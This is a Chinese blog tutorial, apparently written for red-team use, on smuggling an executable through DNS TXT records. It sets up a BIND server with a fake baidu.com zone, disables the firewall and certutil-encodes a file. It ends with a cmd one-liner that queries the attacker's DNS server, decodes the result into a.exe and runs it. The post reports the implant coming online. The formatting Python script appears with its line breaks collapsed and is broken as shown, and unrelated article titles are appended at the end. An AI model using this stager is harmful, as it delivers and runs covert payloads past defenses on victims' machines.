文章目录

  • 1. 搭建dns服务器
  • 2. 将要下载的文件转化格式
  • 3. 将数据输入到dns服务器中
  • 4. 下载文件并执行
  • 5. 参考文章

因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件

1. 搭建dns服务器

yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf

并添加 forwarders { 8.8.8.8; };,最终如下:

修改/etc/named.rfc1912.zones文件

vim /etc/named.rfc1912.zones

我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.com.zone,然后编辑文件并添加数据。

cp -a /var/named/named.localhost /var/named/baidu.com.zone
vim /var/named/baidu.com.zone

然后启动dns服务并关闭防火墙:

systemctl start named
systemctl stop firewalld

然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:

nslookup -q=txt www.baidu.com 192.168.171.141

2. 将要下载的文件转化格式

首先将文件转化成二进制格式:

certutil -encode whoami.exe a.txt

用下面的脚本将生成的数据进行格式化,每一行前面加上"exec,结尾加上"

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.b = ''
with open("1.txt","r") as f:for i in f:i = "\"exec"+i.strip()+"\""+"\n"b+=iwith open("2.txt","w+") as f:f.write(b)

更改后格式如下:

3. 将数据输入到dns服务器中

将上面的数据输入到括号中:

然后重启named服务:

4. 下载文件并执行

在windows机器上执行下面的命令:

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe


成功上线。

5. 参考文章

https://mp.weixin.qq.com/s/pxKmEO3_ljWSW7WhNQbSzQ

windows远程下载的新方案相关推荐

  1. windows远程下载

    文章目录 windows远程下载 windows远程下载 powershell -exec bypass -c (new-object System.Net.WebClient).downloadfi ...

  2. 巨控PLC远程下载调试最新方案

    巨控PLC远程下载调试最新方案 巨控李工:13247333261 核心技术之一:巨控远程下载机制 巨控李工:13247333261 巨控科技搭建了业内先进的PLC远程实验室,购买了市面上几乎全部主流的 ...

  3. 四章: CentOS6.5 配置连接Windows远程桌面、创建新用户、禁用root在本地或远程使用ssh登录

    1,配置连接Windows远程桌面 yum -y install freerdp xfreerdp -g 800x600 -u administrator 192.168.31.13 2,rz.sz ...

  4. windows远程连接linux-安装xfce界面,ubuntn添加新用户

    参考:" 使用xrdp实现windows 远程桌面连接linux"   http://blog.csdn.net/qq_33530388/article/details/64502 ...

  5. 如何用极路由新插件【搜狐视频】进行远程下载

    本文播放器家园网小编给大家分享如何用极路由新插件[搜狐视频]进行远程下载,如果大家在使用搜狐视频过程当中遇到类似问题,欢迎阅读本文!此外,在搜狐视频视频播放器上观看更流畅,画质更清晰,拒绝卡慢钝,而且 ...

  6. windows下安装wget进行远程下载

    windows下安装wget进行远程下载 学习记录: 1.下载wget安装包        https://jaist.dl.sourceforge.net/project/gnuwin32/wget ...

  7. Windows命令之bitsadmin.exe远程下载

    下载: (1)bitsadmin.exe本身被Windows系统支持,无需下载. 执行如下命令可下载http://127.0.0.1:8080/Down/test.txt至C:\Users\hao\D ...

  8. Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案

    Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案. 安装起来相当的简单,简单到只需要执行一行命令即可完成.使得游戏和开发可以兼顾,并且不用花费数万米的可以使用M ...

  9. Aria2远程下载方案部署(CentOS7+Aria+AriaNG+Nginx)

    操作系统为Centos7 aria2安装 首先安装最新的epel源 yum install epel-release 然后安装aria2 yum install aria2 配置aira2 mkdir ...

最新文章

  1. 成功解决AttributeError: module ‘tensorflow‘ has no attribute ‘contrib‘
  2. C语言 do while 和 while 循环 - C语言零基础入门教程
  3. 合法整数集(51Nod-1315)
  4. 华为手机连接电脑用什么软件_屏幕镜像怎么连接电脑?使用这款软件,轻松投屏苹果手机到电脑...
  5. Eclipse中Mybatis的自动提示的配置
  6. 获得当前时间,刻度为一千分一秒
  7. vagrant 网络三种模式
  8. uinttest 异步多线程生成测试报告
  9. 火狐扩展程序推荐_使用Firefox的RIP扩展程序自定义Web
  10. 一个正经的前端学习 开源 仓库(阶段二十六)
  11. 批量调取接口_调用API接口批量查手机归属地
  12. android在线图标生成工具,图标在线生成工具Android Asset Studio的使用
  13. hdmi接口线_视频接口与视频线详解!
  14. 【论文笔记】Question Answering over Freebase with Multi-Column Convolutional Neural Networks
  15. excel链接到另一个工作表的指定位置
  16. 平面波导型光分路器行业调研报告 - 市场现状分析与发展前景预测
  17. IT史记:愤怒的杰里·桑德斯
  18. 初次BERT使用者的可视化指南
  19. scrapy框架爬取王者荣耀英雄数据
  20. 海鸥算法的改进及其在工程设计优化问题中的应用

热门文章

  1. 树莓派拍照命令——raspistill
  2. 【线性代数】P1 行列式性质
  3. 训练日记 | 2021.03.21 | 天梯赛选拔赛
  4. 英语不好学计算机专业可以吗,英语不好学什么专业好,计算机专业好毕业吗
  5. C# 调用大漠插件的方法
  6. HoloLens2电脑投屏设置及IP访问问题解决
  7. 优化嵌入式软件的几点技巧
  8. USB 3G上网卡讲解之一
  9. Eclipse-sdcc学习(fedoar 14)
  10. centos6.5 设置静态ip 更改新的ip 仍显示旧ip